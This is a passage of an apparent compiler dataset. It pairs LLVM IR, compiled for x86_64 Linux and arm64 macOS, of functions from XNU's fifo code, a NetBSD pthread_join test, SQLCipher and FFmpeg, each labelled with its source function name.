!16 %169 = and i32 %168, %167 %170 = icmp eq i32 %169, 0 br i1 %170, label %197, label %171 171: ; preds = %166 %172 = load i32, ptr @O_NONBLOCK, align 4, !tbaa !16 %173 = and i32 %172, %167 %174 = icmp eq i32 %173, 0 %175 = getelementptr inbounds i8, ptr %9, i64 4 %176 = load i32, ptr %175, align 4, !tbaa !25 %177 = icmp eq i32 %176, 0 br i1 %174, label %181, label %178 178: ; preds = %171 br i1 %177, label %179, label %197 179: ; preds = %178 %180 = load i32, ptr @ENXIO, align 4, !tbaa !16 br label %199 181: ; preds = %171 br i1 %177, label %182, label %197 182: ; preds = %181 %183 = getelementptr inbounds i8, ptr %9, i64 8 %184 = load i32, ptr @PCATCH, align 4, !tbaa !16 %185 = load i32, ptr @PSOCK, align 4, !tbaa !16 %186 = or i32 %185, %184 %187 = call i32 @msleep(ptr noundef nonnull %183, ptr noundef nonnull %5, i32 noundef %186, ptr noundef nonnull @.str.3, ptr noundef null) #3 %188 = icmp eq i32 %187, 0 br i1 %188, label %189, label %199 189: ; preds = %182 %190 = load i32, ptr %183, align 8, !tbaa !26 %191 = icmp eq i32 %190, 1 br i1 %191, label %192, label %197 192: ; preds = %189 %193 = load i32, ptr %175, align 4, !tbaa !25 %194 = icmp sgt i32 %193, 0 br i1 %194, label %195, label %197 195: ; preds = %192 %196 = call i32 @wakeup(ptr noundef nonnull %175) #3 br label %197 197: ; preds = %178, %189, %195, %192, %181, %166 %198 = call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %226 199: ; preds = %182, %151, %179 %200 = phi i32 [ %156, %151 ], [ %180, %179 ], [ %187, %182 ] %201 = load i32, ptr %0, align 8, !tbaa !24 %202 = getelementptr inbounds i8, ptr %0, i64 4 %203 = load i32, ptr %202, align 4, !tbaa !27 %204 = call i32 @fifo_close_internal(ptr noundef nonnull %5, i32 noundef %201, i32 noundef %203, i32 noundef 1) #3 %205 = call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %226 206: ; preds = %39, %49 %207 = phi i32 [ %47, %49 ], [ %42, %39 ] %208 = load ptr, ptr %2, align 8, !tbaa !17 %209 = call i32 @soclose(ptr noundef %208) #3 br label %210 210: ; preds = %206, %32 %211 = phi i32 [ %37, %32 ], [ %207, %206 ] %212 = call i32 @vnode_lock(ptr noundef nonnull %5) #3 %213 = load i32, ptr @FIFO_INCREATE, align 4, !tbaa !16 %214 = xor i32 %213, -1 %215 = load i32, ptr %9, align 8, !tbaa !14 %216 = and i32 %215, %214 store i32 %216, ptr %9, align 8, !tbaa !14 %217 = load i32, ptr @FIFO_CREATEWAIT, align 4, !tbaa !16 %218 = and i32 %217, %216 %219 = icmp eq i32 %218, 0 br i1 %219, label %224, label %220 220: ; preds = %210 %221 = xor i32 %217, -1 %222 = and i32 %216, %221 store i32 %222, ptr %9, align 8, !tbaa !14 %223 = call i32 @wakeup(ptr noundef nonnull %9) #3 br label %224 224: ; preds = %220, %210 %225 = call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %226 226: ; preds = %224, %199, %197, %30 %227 = phi i32 [ %28, %30 ], [ %211, %224 ], [ %200, %199 ], [ 0, %197 ] call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %2) #3 ret i32 %227 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @vnode_lock(ptr noundef) local_unnamed_addr #2 declare i32 @panic(ptr noundef) local_unnamed_addr #2 declare i32 @msleep(ptr noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @vnode_unlock(ptr noundef) local_unnamed_addr #2 declare i32 @socreate(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @soclose(ptr noundef) local_unnamed_addr #2 declare i32 @soconnect2(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @socket_lock(ptr noundef, i32 noundef) local_unnamed_addr #2 declare i32 @socket_unlock(ptr noundef, i32 noundef) local_unnamed_addr #2 declare i32 @wakeup(ptr noundef) local_unnamed_addr #2 declare i32 @fifo_close_internal(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !11, i64 8} !7 = !{!"vnop_open_args", !8, i64 0, !8, i64 4, !11, i64 8} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!13, !11, i64 8} !13 = !{!"vnode", !8, i64 0, !11, i64 8} !14 = !{!15, !8, i64 0} !15 = !{!"fifoinfo", !8, i64 0, !8, i64 4, !8, i64 8, !11, i64 16, !11, i64 24} !16 = !{!8, !8, i64 0} !17 = !{!11, !11, i64 0} !18 = !{!19, !8, i64 0} !19 = !{!"socket", !8, i64 0, !20, i64 4} !20 = !{!"TYPE_2__", !8, i64 0} !21 = !{!19, !8, i64 4} !22 = !{!15, !11, i64 16} !23 = !{!15, !11, i64 24} !24 = !{!7, !8, i64 0} !25 = !{!15, !8, i64 4} !26 = !{!15, !8, i64 8} !27 = !{!7, !8, i64 4}
darwin-xnu_bsd_miscfs_fifofs_extr_fifo_vnops.c_fifo_open
; ModuleID = 'AnghaBench/freebsd/contrib/netbsd-tests/lib/libpthread/extr_t_join.c_threadfunc1.c' source_filename = "AnghaBench/freebsd/contrib/netbsd-tests/lib/libpthread/extr_t_join.c_threadfunc1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @EDEADLK = dso_local local_unnamed_addr global i32 0, align 4 @error = dso_local local_unnamed_addr global i32 0, align 4 @STACKSIZE = dso_local local_unnamed_addr global i64 0, align 8 @threadfunc2 = dso_local local_unnamed_addr global i32 0, align 4 @ESRCH = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @threadfunc1], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal noalias noundef ptr @threadfunc1(ptr nocapture readnone %0) #0 { %2 = alloca [25 x i32], align 16 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 call void @llvm.lifetime.start.p0(i64 100, ptr nonnull %2) #3 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3 store ptr null, ptr %3, align 8, !tbaa !5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %5 = tail call i32 (...) @pthread_self() #3 %6 = tail call i32 @pthread_join(i32 noundef %5, ptr noundef null) #3 %7 = icmp ne i32 %6, 0 %8 = zext i1 %7 to i32 %9 = tail call i32 @ATF_REQUIRE(i32 noundef %8) #3 %10 = load i32, ptr @EDEADLK, align 4, !tbaa !9 %11 = tail call i32 @ATF_REQUIRE_EQ(i32 noundef %6, i32 noundef %10) #3 %12 = call i64 @pthread_attr_init(ptr noundef nonnull %4) #3 %13 = icmp eq i64 %12, 0 %14 = zext i1 %13 to i32 %15 = call i32 @ATF_REQUIRE(i32 noundef %14) #3 %16 = call i64 @__arraycount(ptr noundef nonnull %2) #3 %17 = icmp eq i64 %16, 0 br i1 %17, label %57, label %18 18: ; preds = %1, %18 %19 = phi i64 [ %21, %18 ], [ 0, %1 ] store i32 1, ptr @error, align 4, !tbaa !9 %20 = load i64, ptr @STACKSIZE, align 8, !tbaa !11 %21 = add nuw i64 %19, 1 %22 = mul i64 %20, %21 %23 = call i64 @pthread_attr_setstacksize(ptr noundef nonnull %4, i64 noundef %22) #3 %24 = icmp eq i64 %23, 0 %25 = zext i1 %24 to i32 %26 = call i32 @ATF_REQUIRE(i32 noundef %25) #3 %27 = getelementptr inbounds [25 x i32], ptr %2, i64 0, i64 %19 %28 = load i32, ptr @threadfunc2, align 4, !tbaa !9 %29 = inttoptr i64 %19 to ptr %30 = call i32 @pthread_create(ptr noundef nonnull %27, ptr noundef nonnull %4, i32 noundef %28, ptr noundef %29) #3 %31 = call i32 @ATF_REQUIRE_EQ(i32 noundef %30, i32 noundef 0) #3 %32 = load i32, ptr %27, align 4, !tbaa !9 %33 = call i32 @pthread_join(i32 noundef %32, ptr noundef nonnull %3) #3 %34 = call i32 @PTHREAD_REQUIRE(i32 noundef %33) #3 %35 = load i32, ptr @error, align 4, !tbaa !9 %36 = call i32 @ATF_REQUIRE_EQ(i32 noundef %35, i32 noundef 0) #3 %37 = load ptr, ptr %3, align 8, !tbaa !5 %38 = icmp ne ptr %37, null %39 = zext i1 %38 to i32 %40 = call i32 @ATF_REQUIRE(i32 noundef %39) #3 %41 = load ptr, ptr %3, align 8, !tbaa !5 %42 = inttoptr i64 %21 to ptr %43 = icmp eq ptr %41, %42 %44 = zext i1 %43 to i32 %45 = call i32 @ATF_REQUIRE(i32 noundef %44) #3 %46 = load i32, ptr %27, align 4, !tbaa !9 %47 = call i32 @pthread_join(i32 noundef %46, ptr noundef null) #3 %48 = load i32, ptr @ESRCH, align 4, !tbaa !9 %49 = call i32 @ATF_REQUIRE_EQ(i32 noundef %47, i32 noundef %48) #3 %50 = load i32, ptr %27, align 4, !tbaa !9 %51 = call i32 @pthread_detach(i32 noundef %50) #3 %52 = icmp ne i32 %51, 0 %53 = zext i1 %52 to i32 %54 = call i32 @ATF_REQUIRE(i32 noundef %53) #3 %55 = call i64 @__arraycount(ptr noundef nonnull %2) #3 %56 = icmp ult i64 %21, %55 br i1 %56, label %18, label %57, !llvm.loop !13 57: ; preds = %18, %1 %58 = call i64 @pthread_attr_destroy(ptr noundef nonnull %4) #3 %59 = icmp eq i64 %58, 0 %60 = zext i1 %59 to i32 %61 = call i32 @ATF_REQUIRE(i32 noundef %60) #3 %62 = call i32 @pthread_exit(ptr noundef null) #3 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3 call void @llvm.lifetime.end.p0(i64 100, ptr nonnull %2) #3 ret ptr null } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @pthread_self(...) local_unnamed_addr #2 declare i32 @pthread_join(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @ATF_REQUIRE(i32 noundef) local_unnamed_addr #2 declare i32 @ATF_REQUIRE_EQ(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i64 @pthread_attr_init(ptr noundef) local_unnamed_addr #2 declare i64 @__arraycount(ptr noundef) local_unnamed_addr #2 declare i64 @pthread_attr_setstacksize(ptr noundef, i64 noundef) local_unnamed_addr #2 declare i32 @pthread_create(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @PTHREAD_REQUIRE(i32 noundef) local_unnamed_addr #2 declare i32 @pthread_detach(i32 noundef) local_unnamed_addr #2 declare i64 @pthread_attr_destroy(ptr noundef) local_unnamed_addr #2 declare i32 @pthread_exit(ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0} !11 = !{!12, !12, i64 0} !12 = !{!"long", !7, i64 0} !13 = distinct !{!13, !14} !14 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/freebsd/contrib/netbsd-tests/lib/libpthread/extr_t_join.c_threadfunc1.c' source_filename = "AnghaBench/freebsd/contrib/netbsd-tests/lib/libpthread/extr_t_join.c_threadfunc1.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @EDEADLK = common local_unnamed_addr global i32 0, align 4 @error = common local_unnamed_addr global i32 0, align 4 @STACKSIZE = common local_unnamed_addr global i64 0, align 8 @threadfunc2 = common local_unnamed_addr global i32 0, align 4 @ESRCH = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @threadfunc1], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal noundef ptr @threadfunc1(ptr nocapture readnone %0) #0 { %2 = alloca [25 x i32], align 4 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 call void @llvm.lifetime.start.p0(i64 100, ptr nonnull %2) #3 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3 store ptr null, ptr %3, align 8, !tbaa !6 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %5 = tail call i32 @pthread_self() #3 %6 = tail call i32 @pthread_join(i32 noundef %5, ptr noundef null) #3 %7 = icmp ne i32 %6, 0 %8 = zext i1 %7 to i32 %9 = tail call i32 @ATF_REQUIRE(i32 noundef %8) #3 %10 = load i32, ptr @EDEADLK, align 4, !tbaa !10 %11 = tail call i32 @ATF_REQUIRE_EQ(i32 noundef %6, i32 noundef %10) #3 %12 = call i64 @pthread_attr_init(ptr noundef nonnull %4) #3 %13 = icmp eq i64 %12, 0 %14 = zext i1 %13 to i32 %15 = call i32 @ATF_REQUIRE(i32 noundef %14) #3 %16 = call i64 @__arraycount(ptr noundef nonnull %2) #3 %17 = icmp eq i64 %16, 0 br i1 %17, label %57, label %18 18: ; preds = %1, %18 %19 = phi i64 [ %21, %18 ], [ 0, %1 ] store i32 1, ptr @error, align 4, !tbaa !10 %20 = load i64, ptr @STACKSIZE, align 8, !tbaa !12 %21 = add nuw i64 %19, 1 %22 = mul i64 %20, %21 %23 = call i64 @pthread_attr_setstacksize(ptr noundef nonnull %4, i64 noundef %22) #3 %24 = icmp eq i64 %23, 0 %25 = zext i1 %24 to i32 %26 = call i32 @ATF_REQUIRE(i32 noundef %25) #3 %27 = getelementptr inbounds [25 x i32], ptr %2, i64 0, i64 %19 %28 = load i32, ptr @threadfunc2, align 4, !tbaa !10 %29 = inttoptr i64 %19 to ptr %30 = call i32 @pthread_create(ptr noundef nonnull %27, ptr noundef nonnull %4, i32 noundef %28, ptr noundef %29) #3 %31 = call i32 @ATF_REQUIRE_EQ(i32 noundef %30, i32 noundef 0) #3 %32 = load i32, ptr %27, align 4, !tbaa !10 %33 = call i32 @pthread_join(i32 noundef %32, ptr noundef nonnull %3) #3 %34 = call i32 @PTHREAD_REQUIRE(i32 noundef %33) #3 %35 = load i32, ptr @error, align 4, !tbaa !10 %36 = call i32 @ATF_REQUIRE_EQ(i32 noundef %35, i32 noundef 0) #3 %37 = load ptr, ptr %3, align 8, !tbaa !6 %38 = icmp ne ptr %37, null %39 = zext i1 %38 to i32 %40 = call i32 @ATF_REQUIRE(i32 noundef %39) #3 %41 = load ptr, ptr %3, align 8, !tbaa !6 %42 = inttoptr i64 %21 to ptr %43 = icmp eq ptr %41, %42 %44 = zext i1 %43 to i32 %45 = call i32 @ATF_REQUIRE(i32 noundef %44) #3 %46 = load i32, ptr %27, align 4, !tbaa !10 %47 = call i32 @pthread_join(i32 noundef %46, ptr noundef null) #3 %48 = load i32, ptr @ESRCH, align 4, !tbaa !10 %49 = call i32 @ATF_REQUIRE_EQ(i32 noundef %47, i32 noundef %48) #3 %50 = load i32, ptr %27, align 4, !tbaa !10 %51 = call i32 @pthread_detach(i32 noundef %50) #3 %52 = icmp ne i32 %51, 0 %53 = zext i1 %52 to i32 %54 = call i32 @ATF_REQUIRE(i32 noundef %53) #3 %55 = call i64 @__arraycount(ptr noundef nonnull %2) #3 %56 = icmp ult i64 %21, %55 br i1 %56, label %18, label %57, !llvm.loop !14 57: ; preds = %18, %1 %58 = call i64 @pthread_attr_destroy(ptr noundef nonnull %4) #3 %59 = icmp eq i64 %58, 0 %60 = zext i1 %59 to i32 %61 = call i32 @ATF_REQUIRE(i32 noundef %60) #3 %62 = call i32 @pthread_exit(ptr noundef null) #3 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3 call void @llvm.lifetime.end.p0(i64 100, ptr nonnull %2) #3 ret ptr null } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @pthread_self(...) local_unnamed_addr #2 declare i32 @pthread_join(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @ATF_REQUIRE(i32 noundef) local_unnamed_addr #2 declare i32 @ATF_REQUIRE_EQ(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i64 @pthread_attr_init(ptr noundef) local_unnamed_addr #2 declare i64 @__arraycount(ptr noundef) local_unnamed_addr #2 declare i64 @pthread_attr_setstacksize(ptr noundef, i64 noundef) local_unnamed_addr #2 declare i32 @pthread_create(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @PTHREAD_REQUIRE(i32 noundef) local_unnamed_addr #2 declare i32 @pthread_detach(i32 noundef) local_unnamed_addr #2 declare i64 @pthread_attr_destroy(ptr noundef) local_unnamed_addr #2 declare i32 @pthread_exit(ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = !{!13, !13, i64 0} !13 = !{!"long", !8, i64 0} !14 = distinct !{!14, !15} !15 = !{!"llvm.loop.mustprogress"}
freebsd_contrib_netbsd-tests_lib_libpthread_extr_t_join.c_threadfunc1
; ModuleID = 'AnghaBench/sqlcipher/src/extr_btree.c_sqlite3BtreePayloadFetch.c' source_filename = "AnghaBench/sqlcipher/src/extr_btree.c_sqlite3BtreePayloadFetch.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" ; Function Attrs: nounwind uwtable define dso_local ptr @sqlite3BtreePayloadFetch(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = tail call ptr @fetchPayload(ptr noundef %0, ptr noundef %1) #2 ret ptr %3 } declare ptr @fetchPayload(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/sqlcipher/src/extr_btree.c_sqlite3BtreePayloadFetch.c' source_filename = "AnghaBench/sqlcipher/src/extr_btree.c_sqlite3BtreePayloadFetch.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define ptr @sqlite3BtreePayloadFetch(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = tail call ptr @fetchPayload(ptr noundef %0, ptr noundef %1) #2 ret ptr %3 } declare ptr @fetchPayload(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
sqlcipher_src_extr_btree.c_sqlite3BtreePayloadFetch
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_pthread_slice.c_ff_alloc_entries.c' source_filename = "AnghaBench/FFmpeg/libavcodec/extr_pthread_slice.c_ff_alloc_entries.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_7__ = type { i32, i32, ptr } %struct.TYPE_6__ = type { i32, i32, ptr, ptr, ptr } @FF_THREAD_SLICE = dso_local local_unnamed_addr global i32 0, align 4 @ENOMEM = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i32 @ff_alloc_entries(ptr nocapture noundef readonly %0, i32 noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr %0, align 8, !tbaa !5 %4 = load i32, ptr @FF_THREAD_SLICE, align 4, !tbaa !11 %5 = and i32 %4, %3 %6 = icmp eq i32 %5, 0 br i1 %6, label %69, label %7 7: ; preds = %2 %8 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 2 %9 = load ptr, ptr %8, align 8, !tbaa !12 %10 = load ptr, ptr %9, align 8, !tbaa !13 %11 = getelementptr inbounds %struct.TYPE_6__, ptr %10, i64 0, i32 4 %12 = load ptr, ptr %11, align 8, !tbaa !15 %13 = icmp eq ptr %12, null br i1 %13, label %22, label %14 14: ; preds = %7 %15 = load i32, ptr %10, align 8, !tbaa !17 %16 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 1 %17 = load i32, ptr %16, align 4, !tbaa !18 %18 = icmp eq i32 %15, %17 %19 = zext i1 %18 to i32 %20 = tail call i32 @av_assert0(i32 noundef %19) #2 %21 = tail call i32 @av_freep(ptr noundef nonnull %11) #2 br label %22 22: ; preds = %14, %7 %23 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 1 %24 = load i32, ptr %23, align 4, !tbaa !18 store i32 %24, ptr %10, align 8, !tbaa !17 %25 = tail call ptr @av_mallocz_array(i32 noundef %1, i32 noundef 4) #2 store ptr %25, ptr %11, align 8, !tbaa !15 %26 = getelementptr inbounds %struct.TYPE_6__, ptr %10, i64 0, i32 3 %27 = load ptr, ptr %26, align 8, !tbaa !19 %28 = icmp eq ptr %27, null br i1 %28, label %29, label %36 29: ; preds = %22 %30 = load i32, ptr %10, align 8, !tbaa !17 %31 = tail call ptr @av_malloc_array(i32 noundef %30, i32 noundef 4) #2 store ptr %31, ptr %26, align 8, !tbaa !19 %32 = load i32, ptr %10, align 8, !tbaa !17 %33 = tail call ptr @av_malloc_array(i32 noundef %32, i32 noundef 4) #2 %34 = getelementptr inbounds %struct.TYPE_6__, ptr %10, i64 0, i32 2 store ptr %33, ptr %34, align 8, !tbaa !20 %35 = load ptr, ptr %11, align 8, !tbaa !15 br label %36 36: ; preds = %29, %22 %37 = phi ptr [ %35, %29 ], [ %25, %22 ] %38 = icmp eq ptr %37, null br i1 %38, label %62, label %39 39: ; preds = %36 %40 = load ptr, ptr %26, align 8, !tbaa !19 %41 = icmp eq ptr %40, null br i1 %41, label %62, label %42 42: ; preds = %39 %43 = getelementptr inbounds %struct.TYPE_6__, ptr %10, i64 0, i32 2 %44 = load ptr, ptr %43, align 8, !tbaa !20 %45 = icmp eq ptr 